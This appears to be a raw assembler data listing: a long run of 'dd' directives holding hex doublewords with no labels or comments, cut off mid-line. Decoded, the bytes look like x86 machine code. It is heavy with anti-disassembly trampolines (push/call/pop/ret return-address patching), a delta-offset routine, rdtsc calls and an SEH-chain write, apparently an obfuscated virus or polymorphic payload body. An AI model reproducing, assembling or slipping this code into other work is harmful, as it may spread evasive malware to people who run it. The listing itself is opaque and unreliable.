6A06070Eh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h dd 20AEC351h, 86646E9Ch, 4689C38Ah, 0DE8B6604h, 2890F50h dd 8B000000h, 243489D8h, 0FEF6BB66h, 0A289B5FFh, 6A060Ah dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h dd 684DF4C3h, 0C9BD305h, 81FA8B66h, 0D0FA2434h, 6A0C84h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h dd 66F827C3h, 9D89DA8Bh, 6071289h, 0A291858Dh, 6A060Ah dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h dd 0ECEB3DC3h, 0B25229E8h, 0BF50DA8Bh, 275144Ah, 0F240489h dd 684h, 35BD8900h, 0FC06071Dh, 56195FFh, 0BD8B0607h, 6071295h dd 0D5EB8166h, 3BBB612Ah, 0E8180EE3h, 10h, 0AF742E94h dd 0D2296855h, 0AC2D3B60h, 0A88A3DC3h, 6810Fh, 8D290000h dd 6070BDDh, 0D585C75Fh, 306072Fh, 6A000000h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h dd 9852C356h, 523554C1h, 0BD836626h, 60AA291h, 42840F00h dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 16042444h, 46000000h, 6BC8C356h, 3AE93Bh, 6A0000h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h dd 7DDD0C3h, 0C3050F7h, 11440011h, 10E8C101h, 2114430h dd 3114C00h, 4E98358h, 36EBE775h, 11043050h, 1116400h dd 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h dd 0E77504E9h, 0C08B00EBh, 0AD958960h, 8B06072Eh, 703699Dh dd 0BD836106h, 6072FD5h, 0B2850F03h, 0BB000003h, 39F4D1CBh dd 2DE99D8Bh, 0BD830607h, 60AA291h, 9A840F00h, 6A000003h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 19042444h dd 47000000h, 232C357h, 38684EACh, 0A291B5FFh, 6A060Ah dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 64EF0EC3h, 0C8790131h, 0FE8B34C0h, 1CE19D8Bh, 850F0607h dd 6, 1C75BD33h, 95FF0607h, 6071641h, 2719589h, 0B58B0607h dd 60AA285h, 106C7h, 9D8B0001h, 60717DDh, 0E9525096h, 5 dd 7C9E6974h, 505F5B78h, 11E9h, 37E48300h, 0DEFF5EC3h dd 6D770F51h, 7D7AE2C9h, 8996AE14h, 727F59Dh, 91B5FF06h dd 6A060AA2h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 17042444h, 41000000h, 0D0FC351h, 0AE8502Ch, 88000000h dd 6284CD85h, 0EEE0D658h, 0A2BB6616h, 95FF5BDAh, 6071DE1h dd 88CB8150h, 5B391F52h, 0A285B58Bh, 6A060Ah, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 848F31C3h dd 0A9F29C24h, 0AE8h, 0BE10A00h, 0CD561CA9h, 0F31F4D7h dd 68Ch, 358D0100h, 5F060714h, 20A5858Bh, 6A0607h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h dd 74BD6BC3h, 0C8E845B4h, 9D89A4E9h, 6072CD1h, 0C48689h dd 0C7800000h, 1958BB2h, 6A06070Ah, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 8CB0C353h dd 9E7F7560h, 71BD8BBAh, 83060730h, 0BF0F04C2h, 0AE9F9h dd 57100000h, 7E4FDA13h, 0F6CFC41Fh dd 31205089h, 72C69B5h, 31B58906h, 8D060719h, 0AB5BC85h dd 0F5BD8B06h, 89060704h, 0B886h, 35958900h, 6A060717h dd 0F8B70F00h, 0A291B5FFh, 6A060Ah, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 190424h, 57470000h, 0B2490CC3h dd 609DC34Ch, 0BD8BEB8Ah, 6071A61h, 8595FF61h, 33060702h dd 71E79BDh, 8B665006h, 243489D9h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Bh, 18C35747h, 21B6CF84h, 0FF92D9C4h dd 0AA291B5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1504h, 0C3534300h, 850F7851h, 2, 13E9F88Bh, 9A000000h dd 6FE1C6D5h, 0C0F8FE60h, 35633784h, 0FF910797h, 0CE8B9ABh dd 0EC000000h, 0B0D04EE4h, 0EC6B3BF6h, 0BBE15668h, 5F5463E3h dd 5595FF5Bh, 6A060711h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1C042444h, 41000000h, 0C4D4C351h, 0B0BF1862h dd 8996DC0Fh, 728019Dh, 0DDBD8306h, 60706h, 15840Fh, 0F600000h dd 8B66CBBFh, 665061C6h, 3489FA8Bh, 0A59D8924h, 0FF060712h dd 0AA291B5h, 159D0306h, 0FF06070Ah, 71BF195h, 0EE806h dd 0ADC60000h, 1485E9BBh, 1EEBF7F6h, 0EEB9D738h, 4165CB81h dd 0FF5B356Eh, 0AA291B5h, 799D8B06h, 0FF060704h, 71AF595h dd 8E906h, 99A10000h, 0BC8C8CFCh, 0BD83AC2Eh, 60719F5h dd 3E840F02h, 0F000000h, 28Eh, 8B68B700h, 71A2985h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h dd 75D933Ah, 9D8BF577h, 6070679h, 810000C6h, 37329CEFh dd 985C73Bh, 6070Dh, 57000000h, 1D358531h, 8B5F0607h, 0F368E9DEh dd 6AFFFFh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h dd 56460000h, 0E0BF07C3h, 8906A29Ah, 713D195h, 0E8C18B06h dd 10h, 0B5A4BAD2h, 3F925FF4h, 54A913BCh, 3A114A9Dh, 6850Fh dd 0EF810000h, 45AE33ECh, 61858D5Bh, 0B306072Ch, 0BF669043h dd 50502183h, 0F32B752h, 90585A31h, 66006AF8h, 3731EB81h dd 0CE9006Ah, 0D5000000h, 0E74BA031h, 9B8424ECh, 8B384AAAh dd 7130D9Dh, 8C858D06h, 31060B6Dh, 7162595h, 5C08306h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 91C35141h dd 8B820D5Dh, 0E1BD89DEh, 90060713h, 66525050h, 310FD98Bh dd 0B1C36BFh, 90585A07h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 14h, 2DC35343h, 1A419589h, 6A0607h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 97C35242h, 0B6F9F49Fh dd 667C14DBh, 0DA8BD88Bh, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1C0424h, 57470000h, 0D53ACBC3h, 0D4E07CE6h dd 95FFE714h, 6071335h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 19h, 7C35343h, 0C3386A99h, 72BF66A9h, 9D8D8D64h dd 6A060A93h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1A042444h, 43000000h, 0A9BC353h, 31CEE6B7h, 91BF664Bh dd 0E9D1FF23h, 8, 0B0198F7Ch, 0FDC76D9h, 32B1BD83h, 0F010607h dd 6C85h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1504h, 0C3574700h, 8B60B30Fh, 71A1595h, 0DF816606h dd 6A610F5Bh, 0A6BF6602h, 0B1BD8B04h, 50060709h, 0EE9h dd 375E4B00h, 109E40Dh, 3F5A50E1h, 8916A6B4h, 0FFFC2404h dd 7028595h, 0CE806h, 38E20000h, 62E760Bh, 35AD707Eh, 9D8B0031h dd 6070B2Dh, 0C24E95Bh, 0E80000h, 5D000000h, 6D96ED81h dd 8166060Bh, 0FC6651F3h, 8603858Dh, 0BFBB060Ah, 9056244Bh dd 9F531BBh, 5250504Bh, 8B66310Fh, 90585AFEh, 5E9h, 0D9CD1800h dd 0FF64D129h, 35h, 0BE900h, 11FB0000h, 0E403AB59h, 0C93890B7h dd 258964C7h, 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 2C35545h dd 19D8B4Dh, 0FF060716h, 72C8985h, 4BB6606h, 5E952h, 9E0A0000h dd 6A9DEADFh, 0BE8FFh, 0FBA80000h, 0D4F7D963h, 328A9F2Dh dd 5CBF66C1h, 0B5FF5B76h, 607312Dh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Bh, 0E1C35242h, 0F89E4D5Eh, 8B01E160h dd 3D95FFFBh, 0E9060721h, 127h, 23DDBD8Bh, 0B00607h, 5952950h dd 5B06072Dh, 8E0F70E6h, 0Ah, 0E9BD8960h, 57060723h, 8C0F615Ah dd 17h, 0BE8h, 0F641BD00h, 0C9170E1Ah, 0C6D41A14h, 9D59D33h dd 0E45B0607h, 0E9BD0971h, 53060704h, 613C5BF5h, 0D5830Fh dd 0B60F0000h, 91B589C8h, 0BA060717h, 6, 0C18BD88Bh, 6810Fh dd 0BD330000h, 60713E9h, 0D30BBB66h, 8004E8C1h, 0F76623DBh dd 9EC381E2h, 2B315C1Dh, 8B12B7C8h, 99529D1h, 0E906072Fh dd 0Ch, 3858D89h, 0EB810607h, 0B3EA58Ch, 1FAD858Bh, 850F0607h dd 6, 6359589h, 0C0830607h, 859D8B07h, 8306071Ah, 8E800C0h dd 1C000000h, 0EAAD8F50h, 0E9203243h, 9, 7589EE7Dh, 5326395Eh dd 0D03B5F90h, 11830Fh, 95890000h, 6070101h, 6659D8Bh dd 34E90607h, 8B000000h, 72CD58Dh, 1DB50106h, 8306072Fh dd 840F01E1h, 1Fh, 83D9BF0Fh, 72CD5A5h, 0D381FE06h, 1B62DCE6h dd 1FAD9589h, 29B30607h, 0E9FA8Bh, 8D000000h, 0AE712B5h dd 0BD958906h, 89060726h, 701399Dh, 0F006A06h, 28Dh, 81D88B00h dd 0D5BC6DCFh, 6995FF3Bh, 8A06071Bh, 7ACB9DAh, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h dd 0DC5998C3h, 0BF7D27B8h, 68C0F60h, 8B000000h, 71E298Dh dd 5E906h, 6CDF0000h, 610731B2h, 6830Fh, 85890000h, 6070A29h dd 6AFCE183h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 14042444h, 45000000h, 8989C355h, 70279B5h, 6AFC06h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h dd 9CBBEAC3h, 0B8FBh, 12E80000h, 0F5000000h, 33137EFBh dd 76680CE2h, 6F599DDDh, 9E6ACF88h, 0A98589BFh, 5F060730h dd 0BAh, 958B6000h, 607152Dh, 0BE8h, 48211200h, 4DDFB7C9h dd 9CEFB695h, 0D199D89h, 61590607h, 0D1C233ADh, 83D003E8h dd 0F47504E9h, 0E218D01h, 6A0607h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 140424h, 53430000h, 880DC7C3h, 0B7000000h dd 8B5B51CDh, 70A0195h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1C04h, 0C3554500h, 0E664CE43h, 0DA6AB3EDh dd 0DD858910h, 8B06072Dh, 714A58Dh, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 0D04FCCB4h dd 8B5006B3h, 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h dd 2AD38166h, 0F9BD8311h, 6072Fh, 8B840Fh, 6A0000h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h dd 1268D8C3h, 0E3FEEDD3h, 0B860h, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 63D9E7C3h dd 0AE1C6177h, 9D0BF903h, 6071889h, 0A759D0Bh, 8D8D0607h dd 6074B4Ah, 6AE1FFF8h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 18042444h, 46000000h, 0EDFC356h, 0E963D742h dd 5, 0A8C64A40h, 0D5BD83DBh, 6072Fh, 35D840Fh, 0FE80000h dd 0A9000000h, 5FFAC78Dh, 0DA344498h, 8DC89CBAh, 0CB8034F0h dd 0BD835B76h, 6072FD5h, 53840F01h, 6A000003h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h dd 7652C356h, 2FD5BD83h, 0F030607h, 2F386h, 73C38100h dd 607B4E3Eh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 15h, 34C35141h, 0D98C66B1h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ch, 30C35747h, 8F4756C6h, 842C013Ah dd 9FBB70Fh, 719A98Dh, 4E18006h, 14E9h, 54C1C00h, 0B6B010A8h dd 0B1E4F51Ch, 28B76CF2h, 0C2DDED80h, 0FC90A92h, 0B184h dd 0F1858B00h, 8906070Eh, 712B99Dh, 69853306h, 29060715h dd 70B7D8Dh, 0BB665006h, 48992BEh, 6DBD2924h, 8B06070Dh dd 72169BDh, 66006A06h, 9529FB8Bh, 6073039h, 0C68ACE68h dd 575250B8h, 0F5B6160h, 0EABF6631h, 81585A40h, 79312404h dd 0FFF84758h, 7056195h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1604h, 0C3574700h, 0F546A8Dh, 689h, 95858900h dd 89060702h, 0AA29185h, 12E806h, 0B4E60000h, 6347FA1Fh dd 89F8AD45h, 4EED632Fh, 0A024983Fh, 31119D03h, 0E95B0607h dd 180h, 1B71BD33h, 858B0607h, 60AA289h, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 14h, 0D4C35242h, 3178EB81h dd 0C72D59h, 18h, 3291B589h, 0B58B0607h, 60AA28Dh, 91BD8B53h dd 5F060732h, 1C7D858Bh, 6A0607h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1B0424h, 51410000h, 0FB637DC3h, 6CA93B9Ch dd 918531D4h, 8906070Ch, 0F1858B06h, 2306070Eh, 73215BDh dd 4468906h, 42F5D3BBh, 0A3BF5000h, 8926E46Dh, 6A2434h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h dd 8F2C32C3h, 0FF15E349h, 0AA289B5h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1904h, 0C3504000h, 38D80B4Ah dd 8960AB41h, 71DB995h, 6191B106h, 761F9068h, 0E26EBB3Ch dd 348163EFh, 691C6F24h, 6840F3Ch, 8B000000h, 71771BDh dd 7D78106h, 8D4BC6CAh, 0AA29185h, 499D8B06h, 50060702h dd 0BF665250h, 310F2F55h, 5ADE8B66h, 24048958h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 21C35545h, 66534DD0h dd 5FF797BFh, 11A1BD8Bh, 95FF0607h, 6070561h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 36C35242h, 6810Fh dd 0B5310000h, 60727F5h, 11952961h, 0C7060716h, 72FD585h dd 306h, 0A0B75300h, 91BD835Fh, 60AA2h, 2E840Fh, 9CBF0000h dd 0E9496C94h, 3Fh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ch, 7EC35040h, 281E1B76h, 0A7459D31h, 110C3050h dd 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h dd 110430h, 0C1011164h, 443010E8h, 64000211h, 83580311h dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h dd 30011164h, 0E9831104h, 0EBE77504h, 66C08B00h, 182E781h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0B4C35545h dd 0C37877Fh, 7C2E4C2Fh, 9EB6BF66h, 2FD5BD83h, 0F030607h dd 3E585h, 91BD8300h, 60AA2h, 3D8840Fh, 0D98B0000h, 0A291B5FFh dd 0BD8B060Ah, 60701EDh, 164195FFh, 6A0607h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 140424h, 52420000h dd 0B58BB7C3h, 60AA285h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 16h, 0BEC35646h, 0C7F9A3F7h, 1000106h, 0E3816600h dd 6650B1FCh, 89101CBBh, 6A2434h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1D0424h, 57470000h, 607553C3h, 0E8175784h dd 0FFF799AAh, 0AA291B5h, 0CDBD8B06h, 0FF06071Dh, 71DE195h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h dd 0C3514100h, 64D857EFh, 20799D2Bh, 0B58B0607h, 60AA285h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0D0C35747h dd 54232FC9h, 0F52605Fh, 86h, 0FA8B5A00h, 0A5858B61h, 66060720h dd 89722ABFh, 0C486h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1804h, 0C3554500h, 2D8795A4h, 1958B40h, 6A06070Ah dd 3E85000h, 20000000h, 8958C358h, 81042444h, 14042444h dd 40000000h, 0F31C350h, 685h, 0F5BD8B00h, 8306071Dh, 11E904C2h dd 7E000000h, 1BB639CEh, 0B5B5C75Eh, 6674571Bh, 142B4A4Fh dd 6A205089h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 15042444h, 40000000h, 3E65C350h, 0B5BC858Dh, 8689060Ah dd 0B8h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 16h, 46C35242h, 0B5295607h, 6071E81h, 0EB81006Ah, 6FCF4652h dd 0A291B5FFh, 6A060Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 180424h, 53430000h, 0EBE2A0C3h, 0BD897D1Bh, 6070141h dd 0FFF98B66h, 7028595h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1804h, 0C3574700h, 0E9A20F56h, 9E93Eh, 30FD0000h dd 0F54DBF8Bh, 50CDFD0Bh, 348920B3h, 8E824h, 0C14D0000h dd 63ED9637h, 9D8B3DABh, 60720E1h, 0DE52BF5Fh, 0B5FF6E7Ch dd 60AA291h, 8E9h, 90513900h, 628975F2h, 85B5896Bh, 0FF06072Ch dd 7115595h, 0FE8B6606h, 6DDBD83h, 0F000607h, 4284h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h dd 0BF66960Eh, 0E8505D49h, 0Ah, 3591FD87h, 0CE8F1B8Dh dd 810FB0F8h, 3, 5FFA8B66h, 39BD8B96h, 0FF060701h, 0AA291B5h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h dd 0C3564600h, 0F3806E40h, 9E904h, 0FDD20000h, 7824B00Eh dd 8B971444h, 70AB5BDh, 0F195FF06h, 0BF06071Bh, 0AD45052h dd 0B5FFADB3h, 60AA291h, 11E9h, 7DB99400h, 0BBDFB591h dd 6FB2AA33h, 5673206Bh, 95FF2ACAh, 6071AF5h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 16C35343h, 2912EE64h dd 0C34B5C04h, 0F5BD83F9h, 2060719h, 74840Fh, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h dd 662BD0C3h, 8B424ABBh, 71A2985h, 0FE906h, 8E590000h dd 0F52872CAh, 945ACF78h, 698A042Fh, 0C644h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 81C35646h, 0A8946DF8h dd 8C2A1229h, 2F358D89h, 7E90607h, 0F9000000h, 0A8CE3FD4h dd 85C7CB93h, 6070D09h, 0 dd 599B501h, 88E90607h, 8BFFFFF4h, 700F99Dh, 0E9C18B06h dd 12h, 85F3AFA2h, 0FBC4DB06h, 1C22710Fh, 18057CA1h, 858D6798h dd 6072C61h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Bh, 3C35646h, 14F8A24Ch, 50CAE13Bh, 14E8h, 3CC75F00h dd 0C2CC59E8h, 0A60E3BEBh, 0E100B598h, 55DF4FA1h, 0FFBB66D8h dd 4895B8Bh, 52006A24h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1504h, 0C3524200h, 0BD8B93DFh, 6071209h, 0CE8006Ah dd 5F000000h, 2AE769FFh, 6952360Fh, 5BD67CFCh, 6A006Ah dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h dd 7C9FCFC3h, 39789F6Bh, 9D335128h, 6070A55h, 59D8B5Fh dd 8D06071Ah, 0B7BEB85h, 0D59D0B06h, 83060731h, 9D8B05C0h dd 60715A9h, 7E950h, 0CBD20000h, 4EB2637Eh, 24048956h dd 2E7D9589h, 6A0607h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 17h, 7C35343h, 0FE54F87h, 0C85h, 68F0F00h dd 0F000000h, 8Dh, 0FEB70F00h, 6A006Ah, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 160424h, 57470000h, 173718C3h dd 0ABBE381h, 95FF0E6Dh, 6071335h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 17h, 5C35747h, 8DE27FE9h, 0A939D8Dh dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h dd 0C3574700h, 0F381D275h, 6F562D93h, 6AD1FFh, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h dd 557A8AC3h, 9CE8E95h, 0B1BD83DBh, 1060732h, 7A850Fh dd 0BD230000h, 6071791h, 9D8B026Ah, 6072401h, 8E990h, 73A50000h dd 0DAEC3D45h, 0B350C402h, 6A90D7h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 0D9F028C3h dd 242FB436h, 0E99DD999h, 6, 182EB038h, 81664D7Bh, 0FF60ADDFh dd 7028595h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1704h, 0C3504000h, 7EF96CDCh, 0C62E9h, 0E800h, 815D0000h dd 0B7BF5EDh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1404h, 0C3554500h, 0DE8B66B8h, 1C559D8Bh, 858D0607h dd 60A8603h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Ch, 0E7C35343h, 56662D25h, 5F40FB27h, 0AF35CBBFh, 0CCF3803Dh dd 13E950h, 0CA3A0000h, 0E076F566h, 84A1144Eh, 0E873B2C6h dd 42AA63F6h, 240489DBh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ah, 0AFC35343h, 70A636EBh, 0FF642965h, 35h dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h dd 0C3504000h, 0A880F2Fh, 60000000h, 0B5016160h, 6070F31h dd 7E861h, 55CE0000h, 15FEC781h, 89645F48h, 25h, 20CB8100h dd 0FF770AD9h, 72C8985h, 95953106h, 6A06071Ch, 56006AFFh dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h dd 810EBE97h, 6DD96DDFh, 0D5B5FF65h, 89060713h, 71D7DBDh dd 3D95FF06h, 0E9060721h, 10Ah, 4A1F71BFh, 8B00B03Bh, 703059Dh dd 0F70E606h, 68Ah, 6DB58900h, 0E406072Dh, 79858971h, 80060721h dd 613CC5F7h, 0DC830Fh, 11E80000h, 0BF000000h, 6C360164h dd 0AA260EBBh, 64F81297h, 0EA651398h, 32AD9D8Bh, 0F5B0607h dd 0B589C8B6h, 6070695h, 6BAh, 0B19D2900h, 8B060700h, 0C1FB8BC1h dd 0BD3304E8h, 60712C5h, 1FF1BD8Bh, 0F7660607h, 15BD8BE2h dd 2B060729h, 0E99D8BC8h, 8B06072Dh, 6870FD1h, 8B000000h dd 7048D9Dh, 0DE906h, 8E90000h, 3C000000h, 10FF90D4h, 8B399CC1h dd 72DBD85h, 2DBD0906h, 83060728h, 0BF6607C0h, 0C083226Ch dd 25BD8B00h, 3B060704h, 6830FD0h, 0E9000000h, 3Eh, 3D8D8BF9h dd 83060701h, 840F01E1h, 2Eh, 83DF8B66h, 7013DA5h, 0BD8BFE06h dd 607272Dh, 9344C381h, 95894A0Fh, 6072DBDh, 8E9h, 0E2962200h dd 0EDBA55D1h, 0E93Fh, 0B58D0000h, 60AF08Fh, 0DED8D31h dd 6A0607h, 0FFF88B66h, 71B6995h, 0E5BD3106h, 0B9060706h dd 874h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 16h, 4CC35545h, 9D034127h, 60704E1h, 89FCE183h, 71E8195h dd 6AFC06h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h dd 53430000h, 6ED727C3h, 8AFB8B66h, 0B8DCh, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h dd 0A501E5C3h, 0BA60AAC9h, 0 dd 0ADFA8B66h, 0E8D1C233h, 0E983D003h, 8BF47504h, 0C59D8BF8h dd 0E8060704h, 0Ch, 0CC41F32Bh, 3E63AA4Ah, 0E4F2B9D3h dd 1C35BD33h, 0D5B0607h, 88h, 8BDFB70Fh, 70A0195h, 9D295106h dd 60704E1h, 0A58D8B5Bh, 57060714h, 0CFB450BFh, 0C7815B2Fh dd 5C4F7B1Bh, 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h dd 6A5818h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h dd 50400000h, 0BD8BBDC3h, 60711F9h, 2FF9BD83h, 0F000607h dd 4C84h, 0EE900h, 8CB20000h, 2EA72CEAh, 644588E5h, 3423CF17h dd 0B8h, 4A8D8D00h, 6A06074Bh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 15042444h, 41000000h, 0B582C351h, 66DE8B66h dd 0E1FFDE8Bh, 89D88B66h, 71419BDh, 0D5BD8306h, 6072Fh dd 456840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 150424h, 55450000h, 83F93AC3h, 72FD5BDh, 840F0106h dd 447h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ah, 4EC35646h, 0D8878A62h, 0BD83A174h, 6072FD5h, 0E2860F03h dd 8B000003h, 71C1DBDh, 6A6006h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1B0424h, 57470000h, 298084C3h, 9278727Ah dd 85895132h, 6072C8Dh, 0D98C665Bh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ch, 2FC35343h, 3DD48716h, 64FBCB25h dd 2CF59D29h, 0E1800607h, 0DFBF0F04h, 840FC90Ah, 148h dd 28A0Fh, 0A6B70000h, 0EF1858Bh, 6A0607h, 3E850h, 58200000h dd 448958C3h, 44810424h, 170424h, 50400000h, 0CF012FC3h dd 698533EDh, 60060715h, 89D18B66h, 71AED8Dh, 60906106h dd 0A2E2BA66h, 0B05B5160h, 506161D5h, 6090FA8Ah, 6098D2Bh dd 8C0F0607h, 19h, 14E9h, 4F3FDB00h, 32C99D8Dh, 0DAB2779Eh dd 8E3B6BC8h, 942D3394h, 6A61E8h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Dh, 7CC35040h, 51F65667h, 35CC5A57h dd 0ADBD8B5Ah, 81060709h, 0AFAEA2F7h, 0DE496841h, 0DE8BFB53h dd 0B6240481h, 0F04CB25h, 68Dh, 0ED9D8B00h, 0FF06072Eh dd 7056195h, 0AAC78106h, 89452511h, 71BF985h, 91858906h dd 6A060AA2h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 14042444h, 47000000h, 0E834C357h, 12h, 13D27A89h, 80557767h dd 0EBC4CB90h, 9C9F2F35h, 816614BFh, 5F63FFC3h, 99B589h dd 0D7E90607h, 6A000001h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 15042444h, 47000000h, 0A764C357h, 32C99D33h dd 9D890607h, 6070045h, 0A289858Bh, 6A060Ah, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 180424h, 57470000h, 0DB1A25C3h dd 0BD8BC578h, 6071309h, 1800C7h, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 140424h, 56460000h, 0B58B4CC3h dd 60AA28Dh, 0FE9h, 849E8100h, 0B3978185h, 4EA3414h, 0C73D6E67h dd 1C7D858Bh, 6A0607h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 190424h, 53430000h, 18ACB4C3h, 894A8ED9h, 9E806h, 0A5D70000h dd 0AFA1C1CFh, 60DD80B8h, 1AEF680h, 706E585h, 8B5B6106h dd 70EF185h, 7325BB06h, 46895004h, 51006A04h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1504h, 0C3514100h, 8B66DBA6h dd 0C38166FEh, 895005BDh, 0B5FF2434h, 60AA289h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0BDC35343h, 46A9D34h dd 68C49FE7h, 6B8FC08Dh, 81FA8B66h, 0C3722434h, 858D6B90h dd 60AA291h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Bh, 0FC35242h, 152F0BCFh, 8119834Fh, 8580E8E3h, 840F503Bh dd 4, 5B5F5652h, 6A240489h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 14042444h, 40000000h, 0FEDC350h, 685h, 0F5953100h dd 0FF060726h, 7056195h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1904h, 0C3554500h, 